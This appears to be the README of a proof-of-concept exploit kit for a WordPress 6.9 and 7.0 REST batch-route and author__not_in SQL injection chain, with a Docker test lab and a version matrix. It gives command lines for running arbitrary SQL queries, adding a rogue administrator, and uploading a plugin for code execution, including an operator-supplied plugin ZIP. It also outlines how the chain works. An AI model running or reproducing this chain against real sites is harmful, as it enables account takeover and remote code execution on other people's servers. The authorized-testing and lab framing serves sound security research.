Authorized-testing proof of concept for the affected WordPress 6.9 and 7.0
REST batch-route confusion and author__not_in SQL injection chain.
The administrator path uses stock WordPress core. It does not use MySQL
FILE, INTO OUTFILE, stacked queries, a writable document root, or a
secure_file_priv change.
Everything needed to reproduce and inspect the workflow is contained in this
folder. The default impact stage is deliberately constrained to the fixed
command id. It has no arbitrary-command option and leaves no reusable
webshell.
# Non-persistent sentinel probe. Exit 0 means vulnerable, 1 means the sentinel
# was blocked, and 2 means the result was inconclusive (for example, no network).
python3 exploit.py http://TARGET --check
# Run a SELECT through the UNION primitive.
python3 exploit.py http://TARGET "SELECT @@version"
# Create an administrator and verify a normal wp-login.php session, then stop.
# Email defaults to a reserved example.invalid address. Omit --password to
# enter it without terminal echo.
python3 exploit.py http://TARGET --add-user \
--username audit-admin \
--password 'Use-A-Lab-Only-Password'
# Disposable private-lab impact proof: create the administrator, log in,
# upload/activate a one-shot plugin, and execute the fixed command `id`.
python3 exploit.py http://127.0.0.1:8080 --exec \
--username audit-admin \
--password 'Use-A-Lab-Only-Password'
# The same end-to-end flow with generated credentials when any are omitted.
python3 exploit.py http://127.0.0.1:8080 --complete-chain
# Replace the default id proof with an operator-supplied plugin ZIP.
python3 exploit.py http://127.0.0.1:8080 --exec \
--username audit-admin \
--password 'Use-A-Lab-Only-Password' \
--plugin-file ./my-plugin.zip--add-admin remains an alias for --add-user; --rce-proof remains an alias
for --exec. --exec and --complete-chain accept no shell command: both run
only the built-in id proof and are restricted to loopback/private targets.
--plugin-file PATH.zip replaces that proof with upload and activation of the
supplied archive. A custom plugin is not removed automatically.
The stock administrator chain performs these steps:
- Render six unique same-site embeds from synthetic ID-zero posts, causing
ordinary
oembed_cacherows to be created. - Use UNION rows to populate the request-local post cache with forged A–F objects backed by those real row IDs.
- Let oEmbed's sparse update and two hierarchy-loop repairs persist the forged fields and publish a fabricated Customizer changeset.
- Use
nav_menus_created_postswhile the Customizer has temporarily selected the site's existing administrator. - Compose the dynamic
parse_requesthook from post statusparseand typerequest, re-enter REST, and create the supplied administrator through the protected users endpoint. - Log in normally with the new credentials.
This exact path expects the default non-persistent WordPress object cache and at
least one public post that the site can oEmbed. --add-user leaves the six
chain-owned post rows for inspection. Default execution modes remove their six
rows after the fixed proof runs. A custom-plugin run leaves those rows and the
activated plugin in place for explicit operator cleanup.
The execution modes are restricted to loopback and private-network targets. The
default path uploads the plugin through the normal administrator interface and invokes an
administrator-only REST route. The route accepts no command input: it runs only
id (or returns a PHP execution marker when shell_exec is unavailable),
deactivates itself, and removes its file and directory. It does not install an
interactive or reusable webshell.
The included fixture uses the stock wordpress:7.0.1-apache and mariadb:11
images without changing MariaDB grants or server settings. Core auto-update is
disabled only to prevent the intentionally vulnerable fixture from upgrading
itself during a test. Apache listens on the configured site port so same-site
oEmbed callbacks are reachable from inside the container.
docker compose -f lab/docker-compose.yml up -d
python3 exploit.py http://127.0.0.1:8080 --exec \
--username audit-admin \
--password 'Lab-Only-Password-7.0.1' \
--email audit-admin@lab.invalid
docker compose -f lab/docker-compose.yml down -vThe stable affected lines are 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. The
matrix harness gives every image a fresh installation, disables core updates in
wp-config.php, and records query, add-user, exec, complete-chain, and custom
plugin results.
Where an exact Docker tag is absent, it installs the official exact core archive
over the nearest stock WordPress Apache image and records that fixture source.
# Every stable pre-fix point release.
./lab/test-matrix.sh
# One latest-vulnerable representative from each affected branch.
./lab/test-matrix.sh --quick
# Add fixed 6.9.5 and 7.0.2 negative controls.
./lab/test-matrix.sh --include-fixedThe default report is written to matrix-results.tsv. Override it with
--report PATH. See ATTACK_WORKFLOW.md for the complete
source-level workflow, assumptions, cleanup behavior, and phase boundaries.
Use exclusively against systems you own or have explicit written permission to test.